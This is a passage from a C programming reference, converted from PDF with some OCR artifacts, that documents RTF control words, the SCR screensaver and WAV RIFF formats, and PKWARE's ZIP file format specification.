\hline \headerr & Same as above, but header for right-hand pages. \\
\hline \headerf & Same as above, but header for first page. \\
\hline \footer & Same as above, but footer. \\
\hline \footer & Same as above, but footer for left-hand pages. \\
\hline \footerr & Same as above, but footer for right-hand pages. \\
\hline \footerf & Same as above, but header for first page. \\
\hline \ftnsep & Same as above, but text is footnote separator \\
\hline \ftnsepc & Same as above, but text is separator for continued footnotes. \\
\hline
\end{tabular}

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\begin{tabular}{|l|l|}
\hline \ftncn & Same as above, but text is continued footnote notice. \\
\hline \info & \begin{tabular}{l} 
text is information block for the document. Parts of the text is further classified \\
by "properties" of the text that are listed below - such as "title". These are not \\
formatting properties, but a device to delimit and identify parts of the info \\
from the text in the group.
\end{tabular} \\
\hline \stylesheet & \begin{tabular}{l} 
text is the style sheet for the document. More precisely, text between \\
semicolons are taken to be style names which will be defined to stand for the \\
formatting properties which are in effect.
\end{tabular} \\
\hline \fonttbl & font table. See below. \\
\hline \colortbl & color table. See below. \\
\hline \comment & text will be ignored. \\
\hline
\end{tabular}

\section*{5. DOCUMENT FORMATTI NG PROPERTIES}
(000 stands for a number which may be signed)
\begin{tabular}{|l|l|l|}
\hline \paperw000 & paper width in twips & 12240 \\
\hline \paperh000 & paper height & 15840 \\
\hline \margl000 & left margin & 1800 \\
\hline \margr000 & right margin & 1800 \\
\hline \margt000 & top margin & 1440 \\
\hline \margb000 & bottom margin & 1440 \\
\hline \facingp & facing pages & \\
\hline \gutter000 & gutter width & 720 \\
\hline \deftab000 & default tab width & \\
\hline \widowctrl & enable widow control & default \\
\hline \endnotes & footnotes at end of section & \\
\hline \ftnbj & footnotes at bottom of page & 1 \\
\hline \ftntj & footnotes beneath text (top just) & \\
\hline \ftnstart000 & starting footnote number & 1 \\
\hline \ftnrestart & restart footnote numbers each page & 1 \\
\hline \pgnstart000 & starting page number & \\
\hline \linestart000 & starting line number & \\
\hline \landscape & printed in landscape format & \\
\hline
\end{tabular}
(the "next file" property will be encoded in the info text )

\section*{6. SECTI ON FORMATTI NG PROPERTIES}
\begin{tabular}{|l|l|l|}
\hline \sectd & reset to default section properties & \\
\hline \nobreak & break code & \\
\hline \colbreak & break code & default \\
\hline \pagebreak & break code & \\
\hline \evenbreak & break code & \\
\hline \oddbreak & break code & \\
\hline \pgnrestart & restart page numbers at 1 & default \\
\hline \pgndec & page number format decimal &
\end{tabular}
\begin{tabular}{|l|l|l|}
\hline \pgnucrm & page number format uc roman & \\
\hline \pgnlcrm & page number format Ic roman & \\
\hline \pgnucltr & page number format uc letter & \\
\hline \pgnIcltr & page number format Ic letter & 720 \\
\hline \pgnx000 & auto page number x pos & 720 \\
\hline \pgny000 & auto page number y pos & 360 \\
\hline \linemod000 & line number modulus & default \\
\hline \linex000 & line number - text distance & \\
\hline \linerestart & line number restart at 1 & \\
\hline \lineppage & line number restart on each page & \\
\hline \linecont & line number continued from prev section & \\
\hline \headery000 & header y position from top of page & 720 \\
\hline \footery000 & footer y position from bottom of page & 720 \\
\hline \cols000 & number of columns & 1 \\
\hline \colsx000 & space between columns & 720 \\
\hline \endnhere & include endnotes in this section & \\
\hline \titlepg & title page is special & \\
\hline
\end{tabular}
7. PARAGRAPH FORMATTI NG PROPERTIES
\begin{tabular}{|l|l|}
\hline \pard & dreset to default para properties. \\
\hline \s000 & style \\
\hline \ql & quad left (default) \\
\hline \ql & right \\
\hline \qj & justified \\
\hline \qc & centered \\
\hline \fi000 & first line indent \\
\hline \io000 & left indent \\
\hline \ri000 & right indent \\
\hline \sb000 & space before \\
\hline \sa000 & space after \\
\hline \sl000 & space between lines \\
\hline \keep & keep \\
\hline \keepn & keep with next para \\
\hline \sbys & side by side \\
\hline \pagebb & page break before \\
\hline \noline & no line numbering \\
\hline \brdrt & border top \\
\hline \brdrb & border bottom \\
\hline \brdrl & border left \\
\hline \brdrr & border right \\
\hline \box & border all around \\
\hline \brdrs & single thickness \\
\hline \brdrth & thick \\
\hline \brdrsh & shadow \\
\hline \brdrdb & double \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline \tx000 & tab position \\
\hline \tar & right flush tab (these apply to last specified pos) \\
\hline \tqc & centered tab \\
\hline \tadec & decimal aligned tab \\
\hline \tldot & leader dots \\
\hline \tlhyph & leader hyphens \\
\hline \tlul & leader underscore \\
\hline \tlth & leader thick line \\
\hline
\end{tabular}

\section*{8. CHARACTER FORMATTI NG PROPERTI ES}
\begin{tabular}{|l|l|l|}
\hline \plain & reset to default text properties. & \\
\hline \b & bold & \\
\hline i & italic & \\
\hline \strike & strikethrough & \\
\hline \outl & outline & \\
\hline \shad & shadow & \\
\hline \scaps & small caps & \\
\hline \caps & all caps & 24 \\
\hline \v & invisible text & \\
\hline \f000 & font number \(n\) & \\
\hline \fs000 & font size in half points & \\
\hline \ul & underline & \\
\hline \ulw & word underline & \\
\hline \uld & dotted underline & \\
\hline \uldb & double underline & \\
\hline lup000 & superscript in half points & \\
\hline \dn000 & subscript in half points & \\
\hline
\end{tabular}

\section*{9. INFO GROUP}

The plain text in the group is used to specify the various fields of the information block. The current field may be thought of as a particular setting of the "sub-destination" property of the text..
\begin{tabular}{|l|l|}
\hline \title & following plain text is the title \\
\hline \subject & following text is the subject \\
\hline \operator & \\
\hline \author & \\
\hline \keywords & \\
\hline \doccomm & comments (not to be confused with \comment ) \\
\hline Iversion & \\
\hline \nextfile & following text is name of "next" file \\
\hline
\end{tabular}

The other properties assign their parameters directly to the
info block.
\begin{tabular}{|l|l|}
\hline \verno000 & internal version number \\
\hline \creatim & creation time follows \\
\hline \yr000 & year to be assigned to previously specified timefield \\
\hline \mo000 & \\
\hline \dy000 & \\
\hline \hr000 & \\
\hline \min000 & \\
\hline \sec000 & \\
\hline \revtim & revision time follows \\
\hline \printtim & print time follows \\
\hline \buptim & backup time follows \\
\hline \edmins00 & editing minutes \\
\hline \nofpages000 & \\
\hline \nofwords000 & \\
\hline \noofchars000 & \\
\hline \id000 & internal ID number \\
\hline
\end{tabular}

\subsection*{72.17 SCR}

SCR files are Windows EXE files (EXE NE) with the extension SCR. Windows calls the .SCR file with two command-line options:
\begin{tabular}{|l|l|}
\hline\(/ \mathrm{s}\) & to launch the screensaver \\
\hline /c & to configure the screensaver \\
\hline
\end{tabular}

For the windows control panel to recognise the screensaver, the program's module description string must begin with SCRNSAVE: (in uppercase). So, if writing a Visual Basic screensaver, simply set the application title to something like "SCRNSAVE: My Screensaver"

To create a new screen saver simply write a program that checks the command-line option when starting and performs the appropriate action. The display should use a fullscreen window (usually with a black background) and should end when any key is pressed or when the mouse is moved.

Compile the program to .SCR.

\subsection*{72.18 WAV}

The Windows .WAV files are RIFF format files. Some programs expect the fmt block right behind the RIFF header itself, so your programs should write out this block as the first block in the RIFF file.

The subblocks for the wave files are RiffBLOCK [data]

\section*{816 A to \(Z\) of \(C\)}

This block contains the raw sample data. The necessary information for playback is contained in the [fmt ] block.

\section*{RiffBLOCK [fmt ]}

This block contains the data necessary for playback of the sound files. Note the blank after fmt !
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & word & \begin{tabular}{l} 
Format tag \\
1 = PCM (raw sample data) \\
2 etc. for APCDM, a-Law, u-Law ...
\end{tabular} \\
\hline 0002 h & 1 & word & Channels (1=mono,2=stereo,...) \\
\hline 0004 h & 1 & dword & Sampling rate \\
\hline 0008 h & 1 & dword & \begin{tabular}{l} 
Average bytes per second ( \(=\) sampling \\
rate*channels)
\end{tabular} \\
\hline 000 Ch & 1 & word & Block alignment / reserved ?? \\
\hline 000 Eh & 1 & word & Bits per sample (8/12/16-bit samples) \\
\hline
\end{tabular}

\section*{RiffBLOCK [loop]}

This block is for looped samples. Very few programs support this block, but if your program changes the wave file, it should preserve any unknown blocks.
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000 h & 1 & dword & Start of sample loop \\
\hline 0004 h & 1 & dword & End of sample loop \\
\hline
\end{tabular}

\subsection*{72.19 ZIP}

Following is the official documenation of PKZIP.
PKZI \({ }^{\text {® }}\) Application Note
File: APPNOTE.TXT - .ZIP File Format Specification
Version: 4.0
Revised: 11/01/2000
I. Disclaimer
II. General Format of a .ZIP file
A. Local file header
B. File data
C. Data descriptor
D. Central directory structure
E. Explanation of fields
F. General notes
III. UnShrinking - Method 1
IV. Expanding - Methods ..... 2-5
V. Imploding - Method 6
VI. Tokenizing - Method 7
VII. Deflating - Method 8
VIII. Decryption

\section*{I. Disclaimer}

Although PKWARE will attempt to supply current and accurate information relating to its file formats, algorithms, and the subject programs, the possibility of error can not be eliminated. PKWARE therefore expressly disclaims any warranty that the information contained in the associated materials relating to the subject programs and/or the format of the files created or accessed by the subject programs and/or the algorithms used by the subject programs, or any other matter, is current, correct or accurate as delivered. Any risk of damage due to any possible inaccurate information is assumed by the user of the information. Furthermore, the information relating to the subject programs and/or the file formats created or accessed by the subject programs and/or the algorithms used by the subject programs is subject to change without notice.

\section*{II. General Format of a ZI P file}

Files stored in arbitrary order. Large zipfiles can span multiple diskette media or be split into user-defined segment sizes. The minimum user-defined segment size for a split .ZIP file is 64 K ..

Overall zipfile format:
[local file header1]
[file data 1]
[data_descriptor 1]
.
\(\cdot\)
[local file header n ]
[file data n ]
[data_descriptor n]
[ central directory]

\section*{A. Local file header:}
local file header signature 4 bytes (0x04034b50)
\begin{tabular}{ll} 
version needed to extract & 2 bytes \\
general purpose bit flag & 2 bytes \\
compression method & 2 bytes \\
last mod file time & 2 bytes \\
last mod file date & 2 bytes \\
crc- 32 & 4 bytes \\
compressed size & 4 bytes \\
uncompressed size & 4 bytes \\
filename length & 2 bytes \\
extra field length & 2 bytes \\
filename & (variable size) \\
extra field & (variable size)
\end{tabular}

\section*{B. File data:}

Immediately following the local header for a file is the compressed or stored data for the file. The series of [local file header][file data][data descriptor] repeats for each file in the .ZIP archive.

\section*{C. Data descriptor:}
\begin{tabular}{ll} 
crc- 32 & 4 bytes \\
compressed size & 4 bytes \\
uncompressed size & 4 bytes
\end{tabular}

This descriptor exists only if bit 3 of the general purpose bit flag is set (see below). It is byte aligned and immediately follows the last byte of compressed data. This descriptor is used only when it was not possible to seek in the output zip file, e.g., when the output zip file was standard output or a non seekable device.

\section*{D. Central directory structure:}
[file header 1]
[file header n ]
[digital signature]
[end of central directory record]
File header:
\begin{tabular}{ll} 
central file header signature & 4 bytes \((0 \times 02014 \mathrm{~b} 50)\) \\
version made by & 2 bytes \\
version needed to extract & 2 bytes \\
general purpose bit flag & 2 bytes \\
compression method & 2 bytes
\end{tabular}
\begin{tabular}{ll} 
last mod file time & 2 bytes \\
last mod file date & 2 bytes \\
crc- 32 & 4 bytes \\
compressed size & 4 bytes \\
uncompressed size & 4 bytes \\
filename length & 2 bytes \\
extra field length & 2 bytes \\
file comment length & 2 bytes \\
disk number start & 2 bytes \\
internal file attributes & 2 bytes \\
external file attributes & 4 bytes \\
relative offset of local header & 4 bytes \\
filename & (variable size) \\
extra field & (variable size) \\
file comment & (variable size)
\end{tabular}

\section*{End of central dir record:}
\begin{tabular}{ll} 
end of central dir signature & \begin{tabular}{l}
4 bytes \\
(0x06054b50)
\end{tabular} \\
number of this disk & 2 bytes \\
number of the disk with the start of the central \\
directory & 2 bytes \\
total number of entries in the central dir on this \\
disk & 2 bytes \\
total number of entries in the central dir & 2 bytes \\
size of the central directory & 4 bytes \\
offset of start of central directory & 4 bytes \\
with respect to the starting disk number & 2 bytes \\
.ZIP file comment length & (variable size)
\end{tabular}

\section*{E. Explanation of fields:} version made by (2 bytes)

The upper byte indicates the compatibility of the file attribute information. If the external file attributes are compatible with MS-DOS and can be read by PKZIP for DOS version 2.04g then this value will be zero. If these attributes are not compatible, then this value will identify the host system on which the attributes are compatible. Software can use this information to determine the line record format for text files etc. The current mappings are:

0 - MS-DOS and OS/2 (FAT / VFAT / FAT32 file systems)
1 - Amiga
2 - OpenVMS
3 - Unix

4 - VM/CMS
5-Atari ST
6 - OS/2 H.P.F.S.
7 - Macintosh
8 - Z-System
9-CP/M
10 - Windows NTFS
11 thru 255 - unused
The lower byte indicates the version number of the software used to encode the file. The value/10 indicates the major version number, and the value mod 10 is the minor version number.

\section*{version needed to extract ( 2 bytes)}

The minimum software version needed to extract the file, mapped as above.

\section*{general purpose bit flag: ( 2 bytes)}

Bit 0: If set, indicates that the file is encrypted.
(For Method 6 - Imploding)
Bit 1: If the compression method used was type 6, Imploding, then this bit, if set, indicates an 8 K sliding dictionary was used. If clear, then a 4 K sliding dictionary was used.
Bit 2: If the compression method used was type 6, Imploding, then this bit, if set, indicates an 3 Shannon-Fano trees were used to encode the sliding dictionary output. If clear, then 2 ShannonFano trees were used.
(For Methods 8 and 9 - Deflating)
Bit 2 Bit 1
\(0 \quad 0\) Normal (-en) compression option was used.
01 Maximum (-exx/-ex) compression option was used.
10 Fast (-ef) compression option was used.
11 Super Fast (-es) compression option was used.
Note: Bits 1 and 2 are undefined if the compression method is any other.

Bit 3: If this bit is set, the fields crc-32, compressed size and uncompressed size are set to zero in the local header. The correct values are put in the data descriptor immediately following the compressed data. (Note: PKZIP version 2.04 g for DOS only recognizes this bit for method 8 compression, newer versions of PKZIP recognize this bit for any compression method.)
Bit 4: Reserved for use with method 8, for enhanced deflating.
Bit 5: If this bit is set, this indicates that the file is compressed patched data.(Note: Requires PKZIP version 2.70 or greater)
Bit 6: Currently unused.
Bit 7: Currently unused.
Bit 8: Currently unused.
Bit 9: Currently unused.
Bit 10: Currently unused.
Bit 11: Currently unused.
Bit 12: Reserved by PKWARE for enhanced compression.
Bit 13: Reserved by PKWARE.
Bit 14: Reserved by PKWARE.
Bit 15: Reserved by PKWARE.

\section*{compression method: (2 bytes)}
(see accompanying documentation for algorithm descriptions)
0 - The file is stored (no compression)
1 - The file is Shrunk
2 - The file is Reduced with compression factor 1
3 - The file is Reduced with compression factor 2
4 - The file is Reduced with compression factor 3
5 - The file is Reduced with compression factor 4
6 - The file is Imploded
7 - Reserved for Tokenizing compression algorithm
8 - The file is Deflated
9 - Enhanced Deflating using Deflate64(tm)
10 - PKWARE Date Compression Library Imploding

\section*{date and time fields: ( 2 bytes each)}
The date and time are encoded in standard MS-DOS format. If input came from standard input, the date and time are those at which compression was started for this data.

\section*{CRC-32: (4 bytes)}
The CRC- 32 algorithm was generously contributed by David Schwaderer and can be found in his excellent book "C Programmers Guide to NetBIOS" published by Howard W. Sams \& Co. Inc. The 'magic number' for the CRC is \(0 x d e b b 20 e 3\). The proper CRC pre and post conditioning is used, meaning that the CRC register is pre-conditioned with all ones (a starting value of 0xffffffff) and the value is postconditioned by taking the one's complement of the CRC residual. If bit 3 of the general purpose flag is set, this field is set to zero in the local header and the correct value is put in the data descriptor and in the central directory.

\section*{compressed size: (4 bytes)}
uncompressed size: (4 bytes)

The size of the file compressed and uncompressed, respectively. If bit 3 of the general purpose bit flag is set, these fields are set to zero in the local header and the correct values are put in the data descriptor and in the central directory.

\section*{filename length: ( 2 bytes) \\ extra field length: ( 2 bytes) \\ file comment length: (2 bytes)}

The length of the filename, extra field, and comment fields respectively. The combined length of any directory record and these three fields should not generally exceed 65,535 bytes. If input came from standard input, the filename length is set to zero.

\section*{disk number start: ( 2 bytes)}

The number of the disk on which this file begins.

\section*{internal file attributes: ( 2 bytes)}

The lowest bit of this field indicates, if set, that the file is apparently an ASCII or text file. If not set, that the file apparently contains binary data. The remaining bits are unused in version 1.0.

\section*{external file attributes: (4 bytes)}

The mapping of the external attributes is host-system dependent (see 'version made by'). For MS-DOS, the low order byte is the MS-DOS directory attribute byte. If input came from standard input, this field is set to zero.
relative offset of local header: (4 bytes)
This is the offset from the start of the first disk on which this file appears, to where the local header should be found.

\section*{filename: (Variable)}

The name of the file, with optional relative path. The path stored should not contain a drive or device letter, or a leading slash. All slashes should be forward slashes '/' as opposed to backwards slashes ' \(\backslash\) ' for compatibility with Amiga and Unix file systems etc. If input came from standard input, there is no filename field.

\section*{extra field: (Variable)}

This is for future expansion. If additional information needs to be stored in the future, it should be stored here. Earlier versions of the software can then safely skip this file, and find the next file or header. This field will be 0 length in version 1.0.

In order to allow different programs and different types of information to be stored in the 'extra' field in .ZIP files, the following structure should be used for all programs storing data in this field:
header1+data1 + header2+data2 . . .
Each header should consist of:
Header ID 2 bytes
Data Size 2 bytes
Note: all fields stored in Intel low-byte/high-byte order.
The Header ID field indicates the type of data that is in the following data block.

Header ID's of 0 thru 31 are reserved for use by PKWARE. The remaining ID's can be used by third party vendors for proprietary usage.

The current Header ID mappings defined by PKWARE are:
\(0 \times 0007\) AV Info
\(0 \times 0009\) OS/2
0x000A NTFS
0x000c OpenVMS
0x000d Unix
0x000f Patch Descriptor
0x0014 PKCS\#7 Store for X. 509 Certificates
\(0 \times 0015\) X. 509 Certificate ID and Signature for individual file
\(0 \times 0016\) X. 509 Certificate ID for Central Directory
Several third party mappings commonly used are:
0x4b46 FWKCS MD5 (see below)
0x07c8 Macintosh
0x4341 Acorn/SparkFS
\(0 \times 4453\) Windows NT security descriptor (binary ACL)
\(0 \times 4704 \mathrm{VM} / \mathrm{CMS}\)
\(0 \times 470 f\) MVS
\(0 \times 4 c 41\) OS/2 access control list (text ACL)
0x4d49 Info-ZIP OpenVMS
\(0 \times 5455\) extended timestamp
\(0 \times 5855\) Info-ZIP Unix (original, also OS/2, NT, etc)
\(0 \times 6542\) BeOS/BeBox
0x756e ASi Unix
\(0 \times 7855\) Info-ZIP Unix (new)

\section*{824 A to Z of C}

\section*{0xfd4a SMS/QDOS}

The Data Size field indicates the size of the following data block. Programs can use this value to skip to the next header block, passing over any data blocks that are not of interest.

Note: As stated above, the size of the entire .ZIP file header, including the filename, comment, and extra field should not exceed 64 K in size.

In case two different programs should appropriate the same Header ID value, it is strongly recommended that each program place a unique signature of at least two bytes in size (and preferably 4 bytes or bigger) at the start of each data area. Every program should verify that its unique signature is present, in addition to the Header ID value being correct, before assuming that it is a block of known type.

\section*{-OS/ 2 Extra Field:}

The following is the layout of the OS/2 attributes "extra" block. (Last Revision 09/05/95)

Note: all fields stored in Intel low-byte/high-byte order.
\begin{tabular}{lll} 
Value & Size & Description \\
\(0 \times 0009\) & 2 bytes & Tag for this "extra" block type \\
TSize & 2 bytes & Size for the following data block \\
BSize & Long & Uncompressed Block Size \\
CType & 2 bytes & Compression type \\
EACRC & Long & CRC value for uncompress block \\
(var) & variable & Compressed block
\end{tabular}

The OS/2 extended attribute structure (FEA2LIST) is compressed and then stored in it's entirety within this structure. There will only ever be one "block" of data in VarFields[].

\section*{-UNI X Extra Field:}

The following is the layout of the Unix "extra" block.
Note: all fields are stored in Intel low-byte/high-byte order.
\begin{tabular}{lll} 
Value & Size & Description \\
0x000d & 2 bytes & Tag for this "extra" block type \\
TSize & 2 bytes & Size for the following data block \\
Atime & 4 bytes & File last access time \\
Mtime & 4 bytes & File last modification time \\
Uid & 2 bytes & File user ID \\
Gid & 2 bytes & File group ID
\end{tabular}
(var) variable Variable length data field
The variable length data field will contain file type specific data. Currently the only values allowed are the original "linked to" file names for hard or symbolic links.

\section*{-OpenVMS Extra Field:}

The following is the layout of the OpenVMS attributes "extra" block.

Note: all fields stored in Intel low-byte/high-byte order.
\begin{tabular}{lll} 
Value & Size & Description \\
0x000c & 2 bytes & Tag for this "extra" block type \\
TSize & 2 bytes & Size of the total "extra" block \\
CRC & 4 bytes & 32-bit CRC for remainder of the block \\
Tag1 & 2 bytes & VMS attribute tag value \#1 \\
Size1 & 2 bytes & Size of attribute \#1, in bytes \\
(var.) & Size1 & Attribute \#1 data \\
. & & \\
. & & \\
TagN & 2 bytes & VMS attribute tage value \#N \\
SizeN & 2 bytes & Size of attribute \#N, in bytes \\
(var.) & SizeN & Attribute \#N data
\end{tabular}

Rules:
1. There will be one or more of attributes present, which will each be preceded by the above TagX \& SizeX values. These values are identical to the ATR\$C_XXXX and ATR\$S_XXXX constants which are defined in ATR.H under OpenVMS C. Neither of these values will ever be zero.
2. No word alignment or padding is performed.
3. A well-behaved PKZIP/OpenVMS program should never produce more than one sub-block with the same TagX value. Also, there will never be more than one "extra" block of type 0x000c in a particular directory record.

\section*{-NTFS Extra Field:}

The following is the layout of the NTFS attributes "extra" block.
Note: At this time, the Mtime, Atime and Ctime values may be used on any Win32 system.

Value Size Description
\begin{tabular}{lll} 
0x000a & 2 bytes & Tag for this "extra" block type \\
TSize & 2 bytes & Size of the total "extra" block \\
Reserved & 4 bytes & Reserved for future use \\
Tag1 & 2 bytes & NTFS attribute tag value \#1 \\
Size1 & 2 bytes & Size of attribute \#1, in bytes \\
(var.) & Size1 & Attribute \#1 data \\
. & & \\
. & & \\
TagN & 2 bytes & NTFS attribute tage value \#N \\
SizeN & 2 bytes & Size of attribute \#N, in bytes \\
(var.) & SizeN & Attribute \#N data
\end{tabular}

For NTFS, values for Tag1 through TagN are as follows:
(currently only one set of attributes is defined for NTFS)
\begin{tabular}{lll} 
Tag & Size & Description \\
\(0 \times 0001\) & 2 bytes & Tag for attribute \#1 \\
Size1 & 2 bytes & Size of attribute \#1, in bytes \\
Mtime & 8 bytes & File last modification time \\
Atime & 8 bytes & File last access time \\
Ctime & 8 bytes & File creation time
\end{tabular}

\section*{-PATCH Descriptor Extra Field:}

The following is the layout of the Patch Descriptor "extra" block.

Note: all fields stored in Intel low-byte/high-byte order.
\begin{tabular}{lll} 
Value & Size & Description \\
0x000f & 2 bytes & Tag for this "extra" block type \\
TSize & 2 bytes & Size of the total "extra" block \\
Version & 2 bytes & Version of the descriptor \\
Flags & 4 bytes & Actions and reactions (see below) \\
OldSize & 4 bytes & Size of the file about to be patched \\
OIdCRC & 4 bytes & 32 -bit CRC of the file about to be patched \\
NewSize & 4 bytes & Size of the resulting file \\
NewCRC & 4 bytes & 32 -bit CRC of the resulting file
\end{tabular}

\section*{Actions and reactions}

Bits Description
0 Use for autodetection
1 Treat as selfpatch
2-3 RESERVED
4-5 Action (see below)
6-7 RESERVED
8-9 Reaction (see below) to absent file
10-11 Reaction (see below) to newer file
12-13 Reaction (see below) to unknown file
14-15 RESERVED
16-31 RESERVED
Actions
Action Value
none ..... 0
add ..... 1
delete ..... 2
patch ..... 3
Reactions
\begin{tabular}{lc} 
Reaction & Value \\
ask & 0 \\
skip & 1 \\
ignore & 2 \\
fail & 3
\end{tabular}

\section*{-PKCS\#7 Store for X. 509 Certificates}

This field is contains the information about each certificate a file is signed with. This field should only appear in the first central directory record, and will be ignored in any other record.

Note: all fields stored in Intel low-byte/high-byte order.
\(\left.\begin{array}{lll}\text { Value } & \text { Size } & \text { Description } \\
0 \times 0014 & 2 \text { bytes } & \text { Tag for this "extra" block type } \\
\text { SSize } & \begin{array}{l}2 \text { bytes } \\
\text { (variable) }\end{array} & \text { Size of the stored data about the store }\end{array}\right]\)\begin{tabular}{lll} 
SData
\end{tabular}\(\quad\)\begin{tabular}{ll} 
SData & \\
Value & \begin{tabular}{l} 
Size
\end{tabular} \\
\begin{tabular}{ll} 
Version & Description \\
StoreD & bytes \\
(variable) Actual store data
\end{tabular}
\end{tabular}

The StoreD member is suitable for passing as the pbData member of a CRYPT_DATA_BLOB to the CertOpenStore() function in Microsoft's CryptoAPI. The SSize member above will be cbData +6 , where cbData is the cbData member of the same CRYPT_DATA_BLOB. The encoding type to pass to CertOpenStore() should be PKCS_7_ANS_ENCODING | X509_ASN_ENCODING.
-X. 509 Certificate ID and Signature for individual file

This field contains the information about which certificate in the PKCS\#7 Store was used to sign the particular file. It also contains the signature data. This field can appear multiple times, but can only appear once per certificate.

Note: all fields stored in Intel low-byte/high-byte order.
\begin{tabular}{|c|c|c|}
\hline Value & Size & Description \\
\hline \(0 \times 0015\) & 2 bytes & Tag for this "extra" block type \\
\hline CSize & 2 bytes & Size of Method \\
\hline Method & (variable) & \\
\hline \multicolumn{3}{|l|}{Method} \\
\hline Value & Size & Description \\
\hline Version & 2 bytes & Version number, 0x0001 for now \\
\hline AlgID & 2 bytes & Algorithm ID used for signing \\
\hline IDSize & 2 bytes & Size of Certificate ID data \\
\hline Certid & (variable) & Certificate ID data \\
\hline SigSize & 2 bytes & Size of Signature data \\
\hline Sig & (variable) & Signature data \\
\hline \multicolumn{3}{|l|}{Certid} \\
\hline Value & Size & Description \\
\hline Size1 & 4 bytes & Size of CertID, should be (IDSize - 4) \\
\hline Size1 & 4 bytes & A bug in version one causes this value to appear twice. \\
\hline IssSize & 4 bytes & Issuer data size \\
\hline Issuer & (variable) & Issuer data \\
\hline SerSize & 4 bytes & Serial Number size \\
\hline Serial & (variable) & Serial Number data \\
\hline
\end{tabular}

The Issuer and IssSize members are suitable for creating a CRYPT_DATA_BLOB to be the Issuer member of a CERT_INFO struct. The Serial and SerSize members would be the SerialNumber member of the same CERT_INFO struct. This struct would be used to find the certificate in the store the file was signed with. Those structures are from the MS CryptoAPI.

Sig and SigSize are the actual signature data and size generated by signing the file with the MS CryptoAPI using a hash created with the given AlgID.

\section*{-X. 509 Certificate ID and Signature for central directory}

This field contains the information about which certificate in the PKCS \#7 Store was used to sign the central directory. It should only appear with the first central directory record, along
with the store. The data structure is the same as the CID, except that SigSize will be 0, and there will be no Sig member.

This field is also kept after the last central directory record, as the signature data (ID 0x05054b50, it looks like a central directory record of a different type). This second copy of the data is the Signature Data member of the record, and will have a SigSize that is non-zero, and will have Sig data.

Note: all fields stored in Intel low-byte/high-byte order.
\begin{tabular}{lll} 
Value & Size & Description \\
\(0 \times 0016\) & 2 bytes & Tag for this "extra" block type \\
CSize & 2 bytes & Size of Method \\
Method & (variable)
\end{tabular}

\section*{- FWKCS MD5 Extra Field:}

The FWKCS Contents_Signature System, used in automatically identifying files independent of filename, optionally adds and uses an extra field to support the rapid creation of an enhanced contents_signature:

Header ID \(=0 \times 4\) b46
Data Size \(=0 \times 0013\)
Preface = 'M','D','5'
followed by 16 bytes containing the uncompressed file's 128_bit MD5 hash \({ }^{(1)}\), low byte first.

When FWKCS revises a zipfile central directory to add this extra field for a file, it also replaces the central directory entry for that file's uncompressed filelength with a measured value.

FWKCS provides an option to strip this extra field, if present, from a zipfile central directory. In adding this extra field, FWKCS preserves Zipfile Authenticity Verification; if stripping this extra field, FWKCS preserves all versions of AV through PKZIP version 2.04 g .

FWKCS, and FWKCS Contents_Signature System, are trademarks of Frederick W. Kantor.
\({ }^{(1)}\) R. Rivest, RFC1321.TXT, MIT Laboratory for Computer Science and RSA Data Security, Inc., April 1992. II.76-77: "The MD5 algorithm is being placed in the public domain for review and possible adoption as a standard."
file comment: (Variable)
The comment for this file.

\section*{number of this disk: ( 2 bytes)}

The number of this disk, which contains central directory end record.

\section*{number of the disk with the start of the central directory: ( 2 bytes)}

The number of the disk on which the central directory starts.

\section*{total number of entries in the central dir on this disk: ( \(\mathbf{2}\) bytes)}

The number of central directory entries on this disk.

\section*{total number of entries in the central dir: ( 2 bytes)}

The total number of files in the zipfile.

\section*{size of the central directory: (4 bytes)}

The size (in bytes) of the entire central directory.

\section*{offset of start of central directory with respect to the starting disk} number: (4 bytes)

Offset of the start of the central directory on the disk on which the central directory starts.

\section*{.ZI P file comment length: ( 2 bytes)}

The length of the comment for this .ZIP file.

\section*{.ZI P file comment: (Variable)}

The comment for this .ZIP file.

\section*{F. General notes:}
1. All fields unless otherwise noted are unsigned and stored in Intel lowbyte: high-byte, low-word:high-word order.
2. String fields are not null terminated, since the length is given explicitly.
3. Local headers should not span disk boundaries. Also, even though the central directory can span disk boundaries, no single record in the central directory should be split across disks.
4. The entries in the central directory may not necessarily be in the same order that files appear in the .ZIP file.
5. Spanned/Split archives created using PKZIP for Windows (V2.50 or greater), PKZIP Command Line (V2.50 or greater), or PKZIP Explorer will include a special spanning signature as the first 4 bytes of the first segment of the archive. This signature (0x08074b50) will be followed immediately by the local header signature for the first file in the archive. Spanned archives created with this special signature are compatible with all versions of PKZIP from PKWARE. Split archives can
only be uncompressed by other versions of PKZIP that know how to create a split archive.

\section*{III. UnShrinking - Method 1}

Shrinking is a Dynamic Ziv-Lempel-Welch compression algorithm with partial clearing. The initial code size is 9 bits, and the maximum code size is 13 bits. Shrinking differs from conventional Dynamic Ziv-Lempel-Welch implementations in several respects:
a. The code size is controlled by the compressor, and is not automatically increased when codes larger than the current code size are created (but not necessarily used). When the decompressor encounters the code sequence 256 (decimal) followed by 1 , it should increase the code size read from the input stream to the next bit size. No blocking of the codes is performed, so the next code at the increased size should be read from the input stream immediately after where the previous code at the smaller bit size was read. Again, the decompressor should not increase the code size used until the sequence 256,1 is encountered.
b. When the table becomes full, total clearing is not performed. Rather, when the compressor emits the code sequence 256,2 (decimal), the decompressor should clear all leaf nodes from the Ziv-Lempel tree, and continue to use the current code size. The nodes that are cleared from the Ziv-Lempel tree are then re-used, with the lowest code value re-used first, and the highest code value re-used last. The compressor can emit the sequence 256,2 at any time.

\section*{IV. Expanding - Methods 2-5}

The Reducing algorithm is actually a combination of two distinct algorithms. The first algorithm compresses repeated byte sequences, and the second algorithm takes the compressed stream from the first algorithm and applies a probabilistic compression method.

The probabilistic compression stores an array of 'follower sets' \(\mathrm{S}(\mathrm{j})\), for \(\mathrm{j}=0\) to 255 , corresponding to each possible ASCII character. Each set contains between 0 and 32 characters, to be denoted as \(\mathrm{S}(\mathrm{j})[0], \ldots, \mathrm{S}(\mathrm{j})[\mathrm{m}]\), where \(\mathrm{m}<32\). The sets are stored at the beginning of the data area for a Reduced file, in reverse order, with S(255) first, and \(S(0)\) last.

